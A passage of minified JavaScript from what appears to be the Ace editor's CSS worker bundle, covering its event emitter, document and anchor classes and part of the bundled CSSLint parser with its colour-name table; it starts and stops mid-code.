t!=\"object\"||!t)t={};t.type||(t.type=e),t.stopPropagation||(t.stopPropagation=i),t.preventDefault||(t.preventDefault=s),n=n.slice();for(var o=0;o<n.length;o++){n[o](t,this);if(t.propagationStopped)break}if(r&&!t.defaultPrevented)return r(t,this)},r._signal=function(e,t){var n=(this._eventRegistry||{})[e];if(!n)return;n=n.slice();for(var r=0;r<n.length;r++)n[r](t,this)},r.once=function(e,t){var n=this;t&&this.addEventListener(e,function r(){n.removeEventListener(e,r),t.apply(null,arguments)})},r.setDefaultHandler=function(e,t){var n=this._defaultHandlers;n||(n=this._defaultHandlers={_disabled_:{}});if(n[e]){var r=n[e],i=n._disabled_[e];i||(n._disabled_[e]=i=[]),i.push(r);var s=i.indexOf(t);s!=-1&&i.splice(s,1)}n[e]=t},r.removeDefaultHandler=function(e,t){var n=this._defaultHandlers;if(!n)return;var r=n._disabled_[e];if(n[e]==t){var i=n[e];r&&this.setDefaultHandler(e,r.pop())}else if(r){var s=r.indexOf(t);s!=-1&&r.splice(s,1)}},r.on=r.addEventListener=function(e,t,n){this._eventRegistry=this._eventRegistry||{};var r=this._eventRegistry[e];return r||(r=this._eventRegistry[e]=[]),r.indexOf(t)==-1&&r[n?\"unshift\":\"push\"](t),t},r.off=r.removeListener=r.removeEventListener=function(e,t){this._eventRegistry=this._eventRegistry||{};var n=this._eventRegistry[e];if(!n)return;var r=n.indexOf(t);r!==-1&&n.splice(r,1)},r.removeAllListeners=function(e){this._eventRegistry&&(this._eventRegistry[e]=[])},t.EventEmitter=r}),ace.define(\"ace/anchor\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/event_emitter\"],function(e,t,n){\"use strict\";var r=e(\"./lib/oop\"),i=e(\"./lib/event_emitter\").EventEmitter,s=t.Anchor=function(e,t,n){this.$onChange=this.onChange.bind(this),this.attach(e),typeof n==\"undefined\"?this.setPosition(t.row,t.column):this.setPosition(t,n)};(function(){function e(e,t,n){var r=n?e.column<=t.column:e.column<t.column;return e.row<t.row||e.row==t.row&&r}function t(t,n,r){var i=t.action==\"insert\",s=(i?1:-1)*(t.end.row-t.start.row),o=(i?1:-1)*(t.end.column-t.start.column),u=t.start,a=i?u:t.end;return e(n,u,r)?{row:n.row,column:n.column}:e(a,n,!r)?{row:n.row+s,column:n.column+(n.row==a.row?o:0)}:{row:u.row,column:u.column}}r.implement(this,i),this.getPosition=function(){return this.$clipPositionToDocument(this.row,this.column)},this.getDocument=function(){return this.document},this.$insertRight=!1,this.onChange=function(e){if(e.start.row==e.end.row&&e.start.row!=this.row)return;if(e.start.row>this.row)return;var n=t(e,{row:this.row,column:this.column},this.$insertRight);this.setPosition(n.row,n.column,!0)},this.setPosition=function(e,t,n){var r;n?r={row:e,column:t}:r=this.$clipPositionToDocument(e,t);if(this.row==r.row&&this.column==r.column)return;var i={row:this.row,column:this.column};this.row=r.row,this.column=r.column,this._signal(\"change\",{old:i,value:r})},this.detach=function(){this.document.removeEventListener(\"change\",this.$onChange)},this.attach=function(e){this.document=e||this.document,this.document.on(\"change\",this.$onChange)},this.$clipPositionToDocument=function(e,t){var n={};return e>=this.document.getLength()?(n.row=Math.max(0,this.document.getLength()-1),n.column=this.document.getLine(n.row).length):e<0?(n.row=0,n.column=0):(n.row=e,n.column=Math.min(this.document.getLine(n.row).length,Math.max(0,t))),t<0&&(n.column=0),n}}).call(s.prototype)}),ace.define(\"ace/document\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/apply_delta\",\"ace/lib/event_emitter\",\"ace/range\",\"ace/anchor\"],function(e,t,n){\"use strict\";var r=e(\"./lib/oop\"),i=e(\"./apply_delta\").applyDelta,s=e(\"./lib/event_emitter\").EventEmitter,o=e(\"./range\").Range,u=e(\"./anchor\").Anchor,a=function(e){this.$lines=[\"\"],e.length===0?this.$lines=[\"\"]:Array.isArray(e)?this.insertMergedLines({row:0,column:0},e):this.insert({row:0,column:0},e)};(function(){r.implement(this,s),this.setValue=function(e){var t=this.getLength()-1;this.remove(new o(0,0,t,this.getLine(t).length)),this.insert({row:0,column:0},e)},this.getValue=function(){return this.getAllLines().join(this.getNewLineCharacter())},this.createAnchor=function(e,t){return new u(this,e,t)},\"aaa\".split(/a/).length===0?this.$split=function(e){return e.replace(/\\r\\n|\\r/g,\"\\n\").split(\"\\n\")}:this.$split=function(e){return e.split(/\\r\\n|\\r|\\n/)},this.$detectNewLine=function(e){var t=e.match(/^.*?(\\r\\n|\\r|\\n)/m);this.$autoNewLine=t?t[1]:\"\\n\",this._signal(\"changeNewLineMode\")},this.getNewLineCharacter=function(){switch(this.$newLineMode){case\"windows\":return\"\\r\\n\";case\"unix\":return\"\\n\";default:return this.$autoNewLine||\"\\n\"}},this.$autoNewLine=\"\",this.$newLineMode=\"auto\",this.setNewLineMode=function(e){if(this.$newLineMode===e)return;this.$newLineMode=e,this._signal(\"changeNewLineMode\")},this.getNewLineMode=function(){return this.$newLineMode},this.isNewLine=function(e){return e==\"\\r\\n\"||e==\"\\r\"||e==\"\\n\"},this.getLine=function(e){return this.$lines[e]||\"\"},this.getLines=function(e,t){return this.$lines.slice(e,t+1)},this.getAllLines=function(){return this.getLines(0,this.getLength())},this.getLength=function(){return this.$lines.length},this.getTextRange=function(e){return this.getLinesForRange(e).join(this.getNewLineCharacter())},this.getLinesForRange=function(e){var t;if(e.start.row===e.end.row)t=[this.getLine(e.start.row).substring(e.start.column,e.end.column)];else{t=this.getLines(e.start.row,e.end.row),t[0]=(t[0]||\"\").substring(e.start.column);var n=t.length-1;e.end.row-e.start.row==n&&(t[n]=t[n].substring(0,e.end.column))}return t},this.insertLines=function(e,t){return console.warn(\"Use of document.insertLines is deprecated. Use the insertFullLines method instead.\"),this.insertFullLines(e,t)},this.removeLines=function(e,t){return console.warn(\"Use of document.removeLines is deprecated. Use the removeFullLines method instead.\"),this.removeFullLines(e,t)},this.insertNewLine=function(e){return console.warn(\"Use of document.insertNewLine is deprecated. Use insertMergedLines(position, ['', '']) instead.\"),this.insertMergedLines(e,[\"\",\"\"])},this.insert=function(e,t){return this.getLength()<=1&&this.$detectNewLine(t),this.insertMergedLines(e,this.$split(t))},this.insertInLine=function(e,t){var n=this.clippedPos(e.row,e.column),r=this.pos(e.row,e.column+t.length);return this.applyDelta({start:n,end:r,action:\"insert\",lines:[t]},!0),this.clonePos(r)},this.clippedPos=function(e,t){var n=this.getLength();e===undefined?e=n:e<0?e=0:e>=n&&(e=n-1,t=undefined);var r=this.getLine(e);return t==undefined&&(t=r.length),t=Math.min(Math.max(t,0),r.length),{row:e,column:t}},this.clonePos=function(e){return{row:e.row,column:e.column}},this.pos=function(e,t){return{row:e,column:t}},this.$clipPosition=function(e){var t=this.getLength();return e.row>=t?(e.row=Math.max(0,t-1),e.column=this.getLine(t-1).length):(e.row=Math.max(0,e.row),e.column=Math.min(Math.max(e.column,0),this.getLine(e.row).length)),e},this.insertFullLines=function(e,t){e=Math.min(Math.max(e,0),this.getLength());var n=0;e<this.getLength()?(t=t.concat([\"\"]),n=0):(t=[\"\"].concat(t),e--,n=this.$lines[e].length),this.insertMergedLines({row:e,column:n},t)},this.insertMergedLines=function(e,t){var n=this.clippedPos(e.row,e.column),r={row:n.row+t.length-1,column:(t.length==1?n.column:0)+t[t.length-1].length};return this.applyDelta({start:n,end:r,action:\"insert\",lines:t}),this.clonePos(r)},this.remove=function(e){var t=this.clippedPos(e.start.row,e.start.column),n=this.clippedPos(e.end.row,e.end.column);return this.applyDelta({start:t,end:n,action:\"remove\",lines:this.getLinesForRange({start:t,end:n})}),this.clonePos(t)},this.removeInLine=function(e,t,n){var r=this.clippedPos(e,t),i=this.clippedPos(e,n);return this.applyDelta({start:r,end:i,action:\"remove\",lines:this.getLinesForRange({start:r,end:i})},!0),this.clonePos(r)},this.removeFullLines=function(e,t){e=Math.min(Math.max(0,e),this.getLength()-1),t=Math.min(Math.max(0,t),this.getLength()-1);var n=t==this.getLength()-1&&e>0,r=t<this.getLength()-1,i=n?e-1:e,s=n?this.getLine(i).length:0,u=r?t+1:t,a=r?0:this.getLine(u).length,f=new o(i,s,u,a),l=this.$lines.slice(e,t+1);return this.applyDelta({start:f.start,end:f.end,action:\"remove\",lines:this.getLinesForRange(f)}),l},this.removeNewLine=function(e){e<this.getLength()-1&&e>=0&&this.applyDelta({start:this.pos(e,this.getLine(e).length),end:this.pos(e+1,0),action:\"remove\",lines:[\"\",\"\"]})},this.replace=function(e,t){!e instanceof o&&(e=o.fromPoints(e.start,e.end));if(t.length===0&&e.isEmpty())return e.start;if(t==this.getTextRange(e))return e.end;this.remove(e);var n;return t?n=this.insert(e.start,t):n=e.start,n},this.applyDeltas=function(e){for(var t=0;t<e.length;t++)this.applyDelta(e[t])},this.revertDeltas=function(e){for(var t=e.length-1;t>=0;t--)this.revertDelta(e[t])},this.applyDelta=function(e,t){var n=e.action==\"insert\";if(n?e.lines.length<=1&&!e.lines[0]:!o.comparePoints(e.start,e.end))return;n&&e.lines.length>2e4&&this.$splitAndapplyLargeDelta(e,2e4),i(this.$lines,e,t),this._signal(\"change\",e)},this.$splitAndapplyLargeDelta=function(e,t){var n=e.lines,r=n.length,i=e.start.row,s=e.start.column,o=0,u=0;do{o=u,u+=t-1;var a=n.slice(o,u);if(u>r){e.lines=a,e.start.row=i+o,e.start.column=s;break}a.push(\"\"),this.applyDelta({start:this.pos(i+o,s),end:this.pos(i+u,s=0),action:e.action,lines:a},!0)}while(!0)},this.revertDelta=function(e){this.applyDelta({start:this.clonePos(e.start),end:this.clonePos(e.end),action:e.action==\"insert\"?\"remove\":\"insert\",lines:e.lines.slice()})},this.indexToPosition=function(e,t){var n=this.$lines||this.getAllLines(),r=this.getNewLineCharacter().length;for(var i=t||0,s=n.length;i<s;i++){e-=n[i].length+r;if(e<0)return{row:i,column:e+n[i].length+r}}return{row:s-1,column:n[s-1].length}},this.positionToIndex=function(e,t){var n=this.$lines||this.getAllLines(),r=this.getNewLineCharacter().length,i=0,s=Math.min(e.row,n.length);for(var o=t||0;o<s;++o)i+=n[o].length+r;return i+e.column}}).call(a.prototype),t.Document=a}),ace.define(\"ace/worker/mirror\",[\"require\",\"exports\",\"module\",\"ace/range\",\"ace/document\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=e(\"../document\").Document,s=e(\"../lib/lang\"),o=t.Mirror=function(e){this.sender=e;var t=this.doc=new i(\"\"),n=this.deferredUpdate=s.delayedCall(this.onUpdate.bind(this)),r=this;e.on(\"change\",function(e){var i=e.data;if(i[0].start)t.applyDeltas(i);else for(var s=0;s<i.length;s+=2){if(Array.isArray(i[s+1]))var o={action:\"insert\",start:i[s],lines:i[s+1]};else var o={action:\"remove\",start:i[s],end:i[s+1]};t.applyDelta(o,!0)}if(r.$timeout)return n.schedule(r.$timeout);r.onUpdate()})};(function(){this.$timeout=500,this.setTimeout=function(e){this.$timeout=e},this.setValue=function(e){this.doc.setValue(e),this.deferredUpdate.schedule(this.$timeout)},this.getValue=function(e){this.sender.callback(this.doc.getValue(),e)},this.onUpdate=function(){},this.isPending=function(){return this.deferredUpdate.isPending()}}).call(o.prototype)}),ace.define(\"ace/mode/css/csslint\",[\"require\",\"exports\",\"module\"],function(require,exports,module){function objectToString(e){return Object.prototype.toString.call(e)}function clone(e,t,n,r){function u(e,n){if(e===null)return null;if(n==0)return e;var a;if(typeof e!=\"object\")return e;if(util.isArray(e))a=[];else if(util.isRegExp(e))a=new RegExp(e.source,util.getRegExpFlags(e)),e.lastIndex&&(a.lastIndex=e.lastIndex);else if(util.isDate(e))a=new Date(e.getTime());else{if(o&&Buffer.isBuffer(e))return a=new Buffer(e.length),e.copy(a),a;typeof r==\"undefined\"?a=Object.create(Object.getPrototypeOf(e)):a=Object.create(r)}if(t){var f=i.indexOf(e);if(f!=-1)return s[f];i.push(e),s.push(a)}for(var l in e)a[l]=u(e[l],n-1);return a}var i=[],s=[],o=typeof Buffer!=\"undefined\";return typeof t==\"undefined\"&&(t=!0),typeof n==\"undefined\"&&(n=Infinity),u(e,n)}function Reporter(e,t){this.messages=[],this.stats=[],this.lines=e,this.ruleset=t}var parserlib={};(function(){function e(){this._listeners={}}function t(e){this._input=e.replace(/\\n\\r?/g,\"\\n\"),this._line=1,this._col=1,this._cursor=0}function n(e,t,n){this.col=n,this.line=t,this.message=e}function r(e,t,n,r){this.col=n,this.line=t,this.text=e,this.type=r}function i(e,n){this._reader=e?new t(e.toString()):null,this._token=null,this._tokenData=n,this._lt=[],this._ltIndex=0,this._ltIndexCache=[]}e.prototype={constructor:e,addListener:function(e,t){this._listeners[e]||(this._listeners[e]=[]),this._listeners[e].push(t)},fire:function(e){typeof e==\"string\"&&(e={type:e}),typeof e.target!=\"undefined\"&&(e.target=this);if(typeof e.type==\"undefined\")throw new Error(\"Event object missing 'type' property.\");if(this._listeners[e.type]){var t=this._listeners[e.type].concat();for(var n=0,r=t.length;n<r;n++)t[n].call(this,e)}},removeListener:function(e,t){if(this._listeners[e]){var n=this._listeners[e];for(var r=0,i=n.length;r<i;r++)if(n[r]===t){n.splice(r,1);break}}}},t.prototype={constructor:t,getCol:function(){return this._col},getLine:function(){return this._line},eof:function(){return this._cursor==this._input.length},peek:function(e){var t=null;return e=typeof e==\"undefined\"?1:e,this._cursor<this._input.length&&(t=this._input.charAt(this._cursor+e-1)),t},read:function(){var e=null;return this._cursor<this._input.length&&(this._input.charAt(this._cursor)==\"\\n\"?(this._line++,this._col=1):this._col++,e=this._input.charAt(this._cursor++)),e},mark:function(){this._bookmark={cursor:this._cursor,line:this._line,col:this._col}},reset:function(){this._bookmark&&(this._cursor=this._bookmark.cursor,this._line=this._bookmark.line,this._col=this._bookmark.col,delete this._bookmark)},readTo:function(e){var t=\"\",n;while(t.length<e.length||t.lastIndexOf(e)!=t.length-e.length){n=this.read();if(!n)throw new Error('Expected \"'+e+'\" at line '+this._line+\", col \"+this._col+\".\");t+=n}return t},readWhile:function(e){var t=\"\",n=this.read();while(n!==null&&e(n))t+=n,n=this.read();return t},readMatch:function(e){var t=this._input.substring(this._cursor),n=null;return typeof e==\"string\"?t.indexOf(e)===0&&(n=this.readCount(e.length)):e instanceof RegExp&&e.test(t)&&(n=this.readCount(RegExp.lastMatch.length)),n},readCount:function(e){var t=\"\";while(e--)t+=this.read();return t}},n.prototype=new Error,r.fromToken=function(e){return new r(e.value,e.startLine,e.startCol)},r.prototype={constructor:r,valueOf:function(){return this.text},toString:function(){return this.text}},i.createTokenData=function(e){var t=[],n={},r=e.concat([]),i=0,s=r.length+1;r.UNKNOWN=-1,r.unshift({name:\"EOF\"});for(;i<s;i++)t.push(r[i].name),r[r[i].name]=i,r[i].text&&(n[r[i].text]=i);return r.name=function(e){return t[e]},r.type=function(e){return n[e]},r},i.prototype={constructor:i,match:function(e,t){e instanceof Array||(e=[e]);var n=this.get(t),r=0,i=e.length;while(r<i)if(n==e[r++])return!0;return this.unget(),!1},mustMatch:function(e,t){var r;e instanceof Array||(e=[e]);if(!this.match.apply(this,arguments))throw r=this.LT(1),new n(\"Expected \"+this._tokenData[e[0]].name+\" at line \"+r.startLine+\", col \"+r.startCol+\".\",r.startLine,r.startCol)},advance:function(e,t){while(this.LA(0)!==0&&!this.match(e,t))this.get();return this.LA(0)},get:function(e){var t=this._tokenData,n=this._reader,r,i=0,s=t.length,o=!1,u,a;if(this._lt.length&&this._ltIndex>=0&&this._ltIndex<this._lt.length){i++,this._token=this._lt[this._ltIndex++],a=t[this._token.type];while(a.channel!==undefined&&e!==a.channel&&this._ltIndex<this._lt.length)this._token=this._lt[this._ltIndex++],a=t[this._token.type],i++;if((a.channel===undefined||e===a.channel)&&this._ltIndex<=this._lt.length)return this._ltIndexCache.push(i),this._token.type}return u=this._getToken(),u.type>-1&&!t[u.type].hide&&(u.channel=t[u.type].channel,this._token=u,this._lt.push(u),this._ltIndexCache.push(this._lt.length-this._ltIndex+i),this._lt.length>5&&this._lt.shift(),this._ltIndexCache.length>5&&this._ltIndexCache.shift(),this._ltIndex=this._lt.length),a=t[u.type],a&&(a.hide||a.channel!==undefined&&e!==a.channel)?this.get(e):u.type},LA:function(e){var t=e,n;if(e>0){if(e>5)throw new Error(\"Too much lookahead.\");while(t)n=this.get(),t--;while(t<e)this.unget(),t++}else if(e<0){if(!this._lt[this._ltIndex+e])throw new Error(\"Too much lookbehind.\");n=this._lt[this._ltIndex+e].type}else n=this._token.type;return n},LT:function(e){return this.LA(e),this._lt[this._ltIndex+e-1]},peek:function(){return this.LA(1)},token:function(){return this._token},tokenName:function(e){return e<0||e>this._tokenData.length?\"UNKNOWN_TOKEN\":this._tokenData[e].name},tokenType:function(e){return this._tokenData[e]||-1},unget:function(){if(!this._ltIndexCache.length)throw new Error(\"Too much lookahead.\");this._ltIndex-=this._ltIndexCache.pop(),this._token=this._lt[this._ltIndex-1]}},parserlib.util={StringReader:t,SyntaxError:n,SyntaxUnit:r,EventTarget:e,TokenStreamBase:i}})(),function(){function Combinator(e,t,n){SyntaxUnit.call(this,e,t,n,Parser.COMBINATOR_TYPE),this.type=\"unknown\",/^\\s+$/.test(e)?this.type=\"descendant\":e==\">\"?this.type=\"child\":e==\"+\"?this.type=\"adjacent-sibling\":e==\"~\"&&(this.type=\"sibling\")}function MediaFeature(e,t){SyntaxUnit.call(this,\"(\"+e+(t!==null?\":\"+t:\"\")+\")\",e.startLine,e.startCol,Parser.MEDIA_FEATURE_TYPE),this.name=e,this.value=t}function MediaQuery(e,t,n,r,i){SyntaxUnit.call(this,(e?e+\" \":\"\")+(t?t:\"\")+(t&&n.length>0?\" and \":\"\")+n.join(\" and \"),r,i,Parser.MEDIA_QUERY_TYPE),this.modifier=e,this.mediaType=t,this.features=n}function Parser(e){EventTarget.call(this),this.options=e||{},this._tokenStream=null}function PropertyName(e,t,n,r){SyntaxUnit.call(this,e,n,r,Parser.PROPERTY_NAME_TYPE),this.hack=t}function PropertyValue(e,t,n){SyntaxUnit.call(this,e.join(\" \"),t,n,Parser.PROPERTY_VALUE_TYPE),this.parts=e}function PropertyValueIterator(e){this._i=0,this._parts=e.parts,this._marks=[],this.value=e}function PropertyValuePart(text,line,col){SyntaxUnit.call(this,text,line,col,Parser.PROPERTY_VALUE_PART_TYPE),this.type=\"unknown\";var temp;if(/^([+\\-]?[\\d\\.]+)([a-z]+)$/i.test(text)){this.type=\"dimension\",this.value=+RegExp.$1,this.units=RegExp.$2;switch(this.units.toLowerCase()){case\"em\":case\"rem\":case\"ex\":case\"px\":case\"cm\":case\"mm\":case\"in\":case\"pt\":case\"pc\":case\"ch\":case\"vh\":case\"vw\":case\"vmax\":case\"vmin\":this.type=\"length\";break;case\"deg\":case\"rad\":case\"grad\":this.type=\"angle\";break;case\"ms\":case\"s\":this.type=\"time\";break;case\"hz\":case\"khz\":this.type=\"frequency\";break;case\"dpi\":case\"dpcm\":this.type=\"resolution\"}}else/^([+\\-]?[\\d\\.]+)%$/i.test(text)?(this.type=\"percentage\",this.value=+RegExp.$1):/^([+\\-]?\\d+)$/i.test(text)?(this.type=\"integer\",this.value=+RegExp.$1):/^([+\\-]?[\\d\\.]+)$/i.test(text)?(this.type=\"number\",this.value=+RegExp.$1):/^#([a-f0-9]{3,6})/i.test(text)?(this.type=\"color\",temp=RegExp.$1,temp.length==3?(this.red=parseInt(temp.charAt(0)+temp.charAt(0),16),this.green=parseInt(temp.charAt(1)+temp.charAt(1),16),this.blue=parseInt(temp.charAt(2)+temp.charAt(2),16)):(this.red=parseInt(temp.substring(0,2),16),this.green=parseInt(temp.substring(2,4),16),this.blue=parseInt(temp.substring(4,6),16))):/^rgb\\(\\s*(\\d+)\\s*,\\s*(\\d+)\\s*,\\s*(\\d+)\\s*\\)/i.test(text)?(this.type=\"color\",this.red=+RegExp.$1,this.green=+RegExp.$2,this.blue=+RegExp.$3):/^rgb\\(\\s*(\\d+)%\\s*,\\s*(\\d+)%\\s*,\\s*(\\d+)%\\s*\\)/i.test(text)?(this.type=\"color\",this.red=+RegExp.$1*255/100,this.green=+RegExp.$2*255/100,this.blue=+RegExp.$3*255/100):/^rgba\\(\\s*(\\d+)\\s*,\\s*(\\d+)\\s*,\\s*(\\d+)\\s*,\\s*([\\d\\.]+)\\s*\\)/i.test(text)?(this.type=\"color\",this.red=+RegExp.$1,this.green=+RegExp.$2,this.blue=+RegExp.$3,this.alpha=+RegExp.$4):/^rgba\\(\\s*(\\d+)%\\s*,\\s*(\\d+)%\\s*,\\s*(\\d+)%\\s*,\\s*([\\d\\.]+)\\s*\\)/i.test(text)?(this.type=\"color\",this.red=+RegExp.$1*255/100,this.green=+RegExp.$2*255/100,this.blue=+RegExp.$3*255/100,this.alpha=+RegExp.$4):/^hsl\\(\\s*(\\d+)\\s*,\\s*(\\d+)%\\s*,\\s*(\\d+)%\\s*\\)/i.test(text)?(this.type=\"color\",this.hue=+RegExp.$1,this.saturation=+RegExp.$2/100,this.lightness=+RegExp.$3/100):/^hsla\\(\\s*(\\d+)\\s*,\\s*(\\d+)%\\s*,\\s*(\\d+)%\\s*,\\s*([\\d\\.]+)\\s*\\)/i.test(text)?(this.type=\"color\",this.hue=+RegExp.$1,this.saturation=+RegExp.$2/100,this.lightness=+RegExp.$3/100,this.alpha=+RegExp.$4):/^url\\([\"']?([^\\)\"']+)[\"']?\\)/i.test(text)?(this.type=\"uri\",this.uri=RegExp.$1):/^([^\\(]+)\\(/i.test(text)?(this.type=\"function\",this.name=RegExp.$1,this.value=text):/^[\"'][^\"']*[\"']/.test(text)?(this.type=\"string\",this.value=eval(text)):Colors[text.toLowerCase()]?(this.type=\"color\",temp=Colors[text.toLowerCase()].substring(1),this.red=parseInt(temp.substring(0,2),16),this.green=parseInt(temp.substring(2,4),16),this.blue=parseInt(temp.substring(4,6),16)):/^[\\,\\/]$/.test(text)?(this.type=\"operator\",this.value=text):/^[a-z\\-_\\u0080-\\uFFFF][a-z0-9\\-_\\u0080-\\uFFFF]*$/i.test(text)&&(this.type=\"identifier\",this.value=text)}function Selector(e,t,n){SyntaxUnit.call(this,e.join(\" \"),t,n,Parser.SELECTOR_TYPE),this.parts=e,this.specificity=Specificity.calculate(this)}function SelectorPart(e,t,n,r,i){SyntaxUnit.call(this,n,r,i,Parser.SELECTOR_PART_TYPE),this.elementName=e,this.modifiers=t}function SelectorSubPart(e,t,n,r){SyntaxUnit.call(this,e,n,r,Parser.SELECTOR_SUB_PART_TYPE),this.type=t,this.args=[]}function Specificity(e,t,n,r){this.a=e,this.b=t,this.c=n,this.d=r}function isHexDigit(e){return e!==null&&h.test(e)}function isDigit(e){return e!==null&&/\\d/.test(e)}function isWhitespace(e){return e!==null&&/\\s/.test(e)}function isNewLine(e){return e!==null&&nl.test(e)}function isNameStart(e){return e!==null&&/[a-z_\\u0080-\\uFFFF\\\\]/i.test(e)}function isNameChar(e){return e!==null&&(isNameStart(e)||/[0-9\\-\\\\]/.test(e))}function isIdentStart(e){return e!==null&&(isNameStart(e)||/\\-\\\\/.test(e))}function mix(e,t){for(var n in t)t.hasOwnProperty(n)&&(e[n]=t[n]);return e}function TokenStream(e){TokenStreamBase.call(this,e,Tokens)}function ValidationError(e,t,n){this.col=n,this.line=t,this.message=e}var EventTarget=parserlib.util.EventTarget,TokenStreamBase=parserlib.util.TokenStreamBase,StringReader=parserlib.util.StringReader,SyntaxError=parserlib.util.SyntaxError,SyntaxUnit=parserlib.util.SyntaxUnit,Colors={aliceblue:\"#f0f8ff\",antiquewhite:\"#faebd7\",aqua:\"#00ffff\",aquamarine:\"#7fffd4\",azure:\"#f0ffff\",beige:\"#f5f5dc\",bisque:\"#ffe4c4\",black:\"#000000\",blanchedalmond:\"#ffebcd\",blue:\"#0000ff\",blueviolet:\"#8a2be2\",brown:\"#a52a2a\",burlywood:\"#deb887\",cadetblue:\"#5f9ea0\",chartreuse:\"#7fff00\",chocolate:\"#d2691e\",coral:\"#ff7f50\",cornflowerblue:\"#6495ed\",cornsilk:\"#fff8dc\",crimson:\"#dc143c\",cyan:\"#00ffff\",darkblue:\"#00008b\",darkcyan:\"#008b8b\",darkgoldenrod:\"#b8860b\",darkgray:\"#a9a9a9\",darkgrey:\"#a9a9a9\",darkgreen:\"#006400\",darkkhaki:\"#bdb76b\",darkmagenta:\"#8b008b\",darkolivegreen:\"#556b2f\",darkorange:\"#ff8c00\",darkorchid:\"#9932cc\",darkred:\"#8b0000\",darksalmon:\"#e9967a\",darkseagreen:\"#8fbc8f\",darkslateblue:\"#483d8b\",darkslategray:\"#2f4f4f\",darkslategrey:\"#2f4f4f\",darkturquoise:\"#00ced1\",darkviolet:\"#9400d3\",deeppink:\"#ff1493\",deepskyblue:\"#00bfff\",dimgray:\"#696969\",dimgrey:\"#696969\",dodgerblue:\"#1e90ff\",firebrick:\"#b22222\",floralwhite:\"#fffaf0\",forestgreen:\"#228b22\",fuchsia:\"#ff00ff\",gainsboro:\"#dcdcdc\",ghostwhite:\"#f8f8ff\",gold:\"#ffd700\",goldenrod:\"#daa520\",gray:\"#808080\",grey:\"#808080\",green:\"#008000\",greenyellow:\"#adff2f\",honeydew:\"#f0fff0\",hotpink:\"#ff69b4\",indianred:\"#cd5c5c\",indigo:\"#4b0082\",ivory:\"#fffff0\",khaki:\"#f0e68c\",lavender:\"#e6e6fa\",lavenderblush:\"#fff0f5\",lawngreen:\"#7cfc00\",lemonchiffon:\"#fffacd\",lightblue:\"#add8e6\",lightcoral:\"#f08080\",lightcyan:\"#e0ffff\",lightgoldenrodyellow:\"#fafad2\",lightgray:\"#d3d3d3\",lightgrey:\"#d3d3d3\",lightgreen:\"#90ee90\",lightpink:\"#ffb6c1\",lightsalmon:\"#ffa07a\",lightseagreen:\"#20b2aa\",lightskyblue:\"#87cefa\",lightslategray:\"#778899\",lightslategrey:\"#778899\",lightsteelblue:\"#b0c4de\",lightyellow:\"#ffffe0\",lime:\"#00ff00\",limegreen:\"#32cd32\",linen:\"#faf0e6\",magenta:\"#ff00ff\",maroon:\"#800000\",mediumaquamarine:\"#66cdaa\",mediumblue:\"#0000cd\",mediumorchid:\"#ba55d3\",mediumpurple:\"#9370d8\",mediumseagreen:\"#3cb371\",mediumslateblue:\"#7b68ee\",mediumspringgreen:\"#00fa9a\",mediumturquoise:\"#48d1cc\",mediumvioletred:\"#c71585\",midnightblue:\"#191970\",mintcream:\"#f5fffa\",mistyrose:\"#ffe4e1\",moccasin:\"#ffe4b5\",navajowhite:\"#ffdead\",navy:\"#000080\",oldlace:\"#fdf5e6\",olive:\"#808000\",olivedrab:\"#6b8e23\",orange:\"#ffa500\",orangered:\"#ff4500\",orchid:\"#da70d6\",palegoldenrod:\"#eee8aa\",palegreen:\"#98fb98\",paleturquoise:\"#afeeee\",palevioletred:\"#d87093\",papayawhip:\"#ffefd5\",peachpuff:\"#ffdab9\",peru:\"#cd853f\",pink:\"#ffc0cb\",plum:\"#dda0dd\",powderblue:\"#b0e0e6\",purple:\"#800080\",red:\"#ff0000\",rosybrown:\"#bc8f8f\",royalblue:\"#4169e1\",saddlebrown:\"#8b4513\",salmon:\"#fa8072\",sandybrown:\"#f4a460\",seagreen:\"#2e8b57\",seashell:\"#fff5ee\",sienna:\"#a0522d\",silver:\"#c0c0c0\",skyblue:\"#87ceeb\",slateblue:\"#6a5acd\",slategray:\"#708090\",slategrey:\"#708090\",snow:\"#fffafa\",springgreen:\"#00ff7f\",steelblue:\"#4682b4\",tan:\"#d2b48c\",teal:\"#008080\",thistle:\"#d8bfd8\",tomato:\"#ff6347\",turquoise:\"#40e0d0\",violet:\"#ee82ee\",wheat:\"#f5deb3\",white:\"#ffffff\",whitesmoke:\"#f5f5f5\",yellow:\"#ffff00\",yellowgreen:\"#9acd32\",activeBorder:\"Active window border.\",activecaption:\"Active window caption.\",appworkspace:\"Background color of multiple document interface.\",background:\"Desktop background.\",buttonface:\"The face background color for 3-D elements that appear 3-D due to one layer of surrounding border.\",buttonhighlight:\"The color of the border facing the light source for 3-D elements that appear 3-D due to one layer of surrounding border.\",buttonshadow:\"The color of the border away from the light source for 3-D elements that appear 3-D due to one layer of surrounding border.\",buttontext:\"Text on push buttons.\",captiontext:\"Text in caption, size box, and scrollbar arrow box.\",graytext:\"Grayed (disabled) text. This color is set to #000 if the current display driver does not support a solid gray color.\",greytext:\"Greyed (disabled) text. This color is set to #000 if the current display driver does not support a solid grey color.\",highlight:\"Item(s) selected in a control.\",highlighttext:\"Text of item(s) selected in a control.\",inactiveborder:\"Inactive window border.\",inactivecaption:\"Inactive window caption.\",inactivecaptiontext:\"Color of text in an inactive caption.\",infobackground:\"Background color for tooltip controls.\",infotext:\"Text color for tooltip controls.\",menu:\"Menu background.\",menutext:\"Text in menus.\",scrollbar:\"Scroll bar gray area.\",threeddarkshadow:\"The color of the darker (generally outer) of the two borders away from the light source for 3-D elements that appear 3-D due to two concentric layers of surrounding border.\",threedface:\"The face background color for 3-D elements that appear 3-D due to two concentric layers of surrounding border.\",threedhighlight:\"The color of the lighter (generally outer) of the two borders facing the light source for 3-D elements that appear 3-D due to two concentric layers of surrounding border.\",threedlightshadow:\"The color of the darker (generally inner) of the two borders facing the light source for 3-D elements that appear 3-D due to two concentric layers of surrounding border.\",threedshadow:\"The color of the lighter (generally inner) of the two borders away from the light source for 3-D elements that appear 3-D due to two concentric layers of surrounding border.\",window:\"Window background.\",windowframe:\"Window frame.\",windowtext:\"Text in windows.\"};Combinator.prototype=new SyntaxUnit,Combinator.prototype.constructor=Combinator,MediaFeature.prototype=new SyntaxUnit,MediaFeature.prototype.constructor=MediaFeature,MediaQuery.prototype=new 